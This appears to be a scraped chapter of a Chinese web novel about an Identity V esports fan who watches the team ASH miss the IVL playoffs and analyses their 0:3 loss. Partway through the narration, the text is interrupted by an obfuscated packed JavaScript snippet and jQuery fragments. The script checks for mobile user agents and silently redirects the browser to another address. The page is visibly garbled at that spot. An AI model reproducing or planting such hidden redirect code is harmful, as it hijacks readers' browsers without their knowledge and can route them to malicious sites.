2. 爆冷消息

作品:《深渊王座(ivl)

    说实话,看见这条消息的第一时间,叶恒月是不信的。


    那可是ASH,从第五人格赛事还只是民间赛事时就矗立其中的战队,也是正规职业化后第一个夺得大满贯的战队。


    而就是这样功勋满满的战队,你告诉她连季后赛都没能晋级?


    简直天方夜谭。


    于是不信邪的叶恒月打开了微博,可入眼的热搜便是关于ASH的。


    【爆!ASH未能进入季后赛!】


    巨大的红色加粗字体红的晃眼,让叶恒月连不相信的机会都没有。


    点进ASH的官博,置顶的是官方的道歉声明,以及评论区腥风血雨的可怕情况。


    [土豆糊:早就说了让换监管,为什么不换啊?只用留下一个人就还有机会,拿着破轮他都一个留不下来吗?]


    [上班偷偷摸鱼被打:菜菜顶着那么重的手伤,你们就让他这样结束吗?你们对得起谁啊?要死啊是不是!]


    [茶油酥酥脆脆小烤鸭:你们说给机会,给了啊,打成这样是什么意思?新人秒倒一整个常规赛了,今天最重要的一局了还在秒倒!其他三个人三拖一一赛季了拜托,结果现在监管也发癫,第三局拿到破轮的情况下居然一个都留不下来,你们告诉我你们在想什么啊?!]


    数十万条评论,甚至还在不断增加。


    除了ASH战队粉丝的愤怒发声,也有其他战队粉丝和路人的落井下石和嘲讽。


    整个评论区堪称血流成河。


    这个堪称爆冷的结果让所有粉丝都感到了窒息。


    在比赛开始前,谁敢说ASH能进不了季后赛。就算是最差的预测也就是季后赛一轮游,结果现在却是连季后赛的门票都没拿到。


    这样的落差,连叶恒月都觉得震惊,更何况是真心实意的粉丝,他们根本没法接受。


    自己一心一意相信,鼓励,支持的战队,居然会用这样不体面的方式在这个赛季落下帷幕。


    这样的差距,落差太大了。


    叶恒月皱着眉,原本准备早睡的心也没了。


    久坐的腰发出呻吟,于是叶恒月站起来,顺手抄起丢在床上的平板,将枕头竖放背靠躺在床上。


    她将手机放在身侧,点开平板上的粉色网站,搜索今天刚刚结束的最后一场ivl常规赛。


    ASH vs DG


    0:3


    叶恒月瞳孔不由收缩几下。


    这个战绩,她理解为什么star今天晚上的操作变形成那样了。


    DG战队,在她的记忆里不算强队,甚至可以说得上一个弱字。


    如果运气好可以进季后赛,运气不好就是□□名,观众都戏称他们是季后赛看门员。整个队伍没有明星选手,出现好苗子也很快会被其它战队收走。


    属于是真正意义上的弱队。


    但ASH居然被他们零封了,这无异于跳水比赛输给了菲律宾,想炸鱼结果被鱼炸了。


    这结果连叶恒月都感到些许荒唐,更何况是ASH的粉丝,不被气炸就怪了。评论区的发言完全可以理解,甚至叶恒月还觉得骂轻了。


    于是她点入比赛回放,直接跳过那一大串的闲聊和选手,进入对局回放。


    但第一局刚刚开始就让她猛地皱起眉,整个人都严肃起来,眼里更是写满疑惑和不满。


    她的游戏好友,同时也是她为数不多的现实好友的“超级震慑大王”曾经戏言过,叶恒月应该是脸部神经已经瘫痪了。


    当然这是开玩笑,现实原因是因为叶恒月其实很少因为周边环境做出很明显的表情变幻。


    她只会一本正经地拍自己的脑袋安慰自己。


    所以可见这场对局有多么的逆天。


    第一局上半场,由ASH人队率先上场对抗DG的监管者Ghee。


    Ghee不用多说,自然选择了当前版本最强屠夫破轮,而求生方则选出了佣兵,前锋,祭司以及当前版本的强势辅助角色昆虫学者进行对抗。


    双方第一局选图为圣心医院。


    这张图对破轮来说,算不上友好,甚至可以说对绝大多数监管者都不算友好。


    毕竟这张地图中心确实有一座二层建筑物,可以说是非常安全的点位。


    而破轮的一阶主动技能“悲观”以及二阶主动技能“戏谑”,如果在存在高低差的地形释放,十分容易导致空掉技能。


    对局进入后的双方出生点位对破轮其实是不利的。


    他的出生点在圣心医院的大门口,而这局他最好突破的角色祭司则是出生在最安全的点位,医院二楼。


    而另外两个救人位角色前锋和佣兵,无论是谁都不是好处理的存在,于是破轮只得将矛头对准现在堪称最强辅助的昆虫学者。


    但很显然,能让恒月皱眉,这第一波的溜鬼很显然出了问题。


    昆虫学者的主动技能昆虫研究可以召唤虫群,可用于监管也能用于自身。


    一般来说,昆虫学者牵制监管者的过程中会利用虫群加速移动,然后在某些交□□将虫群停下当做屏障,同时干扰监管者的行动。


    但对于破轮这种超高速的追击,很显然加速移动是不完全可靠的。


    你跑得快可别人追的更快,那你的过程相当于白费。


    于是由新人NuoZ操控的昆虫学者在大空地被破轮追上连滚两次,被附上两个尖刺,随后又被夹子命中,甚至连破轮的闪现都还没结束倒计时,昆虫学者就被打到,而且技能召唤的虫群也被破轮牵着气球打掉。


    实现了真正意义上的亏损最大化。


    而得理不饶人的破轮更是选择了不守尸的打法,直接带着冷却结束的闪现朝着由菜菜操作的佣兵发难。


    佣兵在来救援的路上被破轮发现,他交出自己的技能护臂,惊险地躲过破轮第一波加速冲刺。但因为距离昆虫学者太远,在赶过来的路程中还是不幸被滚中一次,


    两人在狂欢之椅前博弈,佣兵成功救下昆虫学者,但昆虫学者却被破轮针对刀成功命中。随后破轮变为轮形态,因为距离太近佣兵虽然交出护臂却依然被滚中,破轮连滚三根刺后切为人形态,利用闪现击倒佣兵。


    此时场上密码机尚未破译数量:四台。


    佣兵和前锋都有着救人位通用的破译减速这一类负面buff,这导致前锋的密码机现在尚未破译成功,还需要十五秒左右。而祭司虽然也有类似debuff,却因为出生点就在密码机旁省去了寻找的时间,成功开掉第一台密码机。


    但现在的情况已经不允许他再继续破译密码机了。


    于是由洋洋操作的前锋以及由Star操作的祭司同时开始朝着在搏命时间结束后倒地的昆虫学者跑去。


    屏幕上,存在感完全解锁,进入二阶的破轮直接再次切换轮形态,他放弃了即将倒地的佣兵,朝着昆虫学者逃走的方向滚去。


    二阶破轮的强度可以说再上一层楼,二十秒竭尽所能的奔逃距离被他几乎瞬间就追上了。


    这短暂的时间,昆虫学者根本来不及交出自起。


    但很显然破轮的目标不止于此。


    他看到了不远处正建筑物后探头探脑的前锋,于是已经完全打出自信的破轮带着开阶后的技能“悲观”和“戏谑”,加速朝着前锋冲刺而去。


    前锋本意是想趁着破轮变为人形态挂人时只用自己的技能冲刺撞晕他,解救昆虫学者,所以他距离破轮的距离并不算太远。


    于是这一下的加速冲刺一下子就冲到了位置不算好的前锋身上。


    前锋只得使用技能拉出一段距离,但没想到破轮得理不饶人,又追着前锋一路朝前滚,直到再上一根刺。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353209|167978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他切为人形态,随着嘻嘻哈哈的笑声回响,监管者二阶主动技能“戏谑”释放,前锋身上被挂上第三根刺。


    下一秒,想要翻过窗户躲避的前锋踩中了破轮丢出的夹板被控在原地,一次平A过后,前锋也进入倒地状态。


    状态栏里,身上有着“战争后遗症”这个治疗减速debuff的佣兵依然趴在地上,但昆虫学者倒是被祭司治疗,不再是倒地状态,但血量只有一半。


    但因为治疗以及救人的原因,场上电机纹丝不动。


    场面已经基本偏向于破轮。


    破轮将前锋挂上,再次切换为人形态朝着佣兵的方向赶去。


    找到依然没能自起的佣兵将其挂上,而对面求生则成功救下前锋,同时点亮前锋最开始的密码机。


    破轮再次切为轮形态,高速冲刺朝着前锋的方向冲去。


    这样强势的追击屠夫,前锋没能跑多远就被看到了。


    第一根刺滚上,前锋眼看破轮要变成人形态选择拉球逃走,却被“戏谑”打断,没能拉出技能“悲观”的区域,被破轮击倒挂上狂欢之椅。


    而同时佣兵也被祭司救下。


    破轮继续维持自己不守的原则,切换为轮形态快速追上了佣兵以及正在试图治疗他的祭司。


    一根刺后,破轮再次使用闪现击倒佣兵将他挂上。


    重复几次之后,求生方就只剩下一个上挂飞的昆虫学者和祭司。


    场上剩余需点亮的密码机依然是三台。


    在这样的运营下,哪怕祭司再强也无力回天,最后被破轮成功拿下四抓。


    而他们的监管者拿下平局,第一局就掉了一个大比分。


    也许是第一局的阴影导致第二局人屠的发挥都不算好,又丢了一分。


    直到来到第三局。


    人队终于站出来做了英雄。


    Star一溜120秒,Ghee试图挂地下室却被诺崽用虫群极限卡位,让star在椅子前成功挣脱下来,苍白满球撞晕监管让star拉开身位逼得他不得不换抓前锋,最后菜菜开门战搏命套给前锋,两人给强点大门的star抗刀,成功拿下四跑。


    此时只要监管者成功留下一人,就能扳回一局进入加时赛。


    但任谁也没想到,在第三局还能拿到破轮的Kal,居然连一个人都没能留下。


    耳边是赛事解说声嘶力竭的怒吼,怎么敢在这个距离使用悲观导致最后一个人加速冲进地窖,叶恒月叹了一口气。


    她确实没看懂为什么最后Kal敢在那个点位使用悲观。


    穿刺最多叠加三层,而昆虫学者是满血的状态,就算引爆穿刺也无法让她进入倒地状态,反而会给她一个受伤加速。


    而地窖点的位置,明明Kal在过来时已经排到了就在红教堂的墓碑外,这个方向翻窗加速加受伤加速肯定是可以冲到地窖口的。


    正确的方法明明是用夹子封住窗口,同时走近逼身位,将昆虫架在原地,随后利用闪现将她击倒。


    这样最起码能留一个进入加时赛,就算最后真的进不了季后赛,但也算得上问心无愧。


    “还真是选择了弹幕最多的打法。”叶恒月低低感慨一声,“看来是真的准备要退役了,手抖成那样应该也打不了比赛了。”


    随后她抬头望了一眼床头柜,日历上标画着一个红色的圈,在光照下很刺眼。


    9月19号。


    那天是叶恒月18岁的生日。


    而今天是7月13号,还有两个月的时间。


    感觉要是擦边好像还能赶到转会期?叶恒月突然想到,随后她摇摇头,对自己的突发奇想感到可笑。


    她要是真的去打比赛,大概还没上场人就已经硬了,


    而且她可不想跟Kal一样弹幕拉满,太丢人了。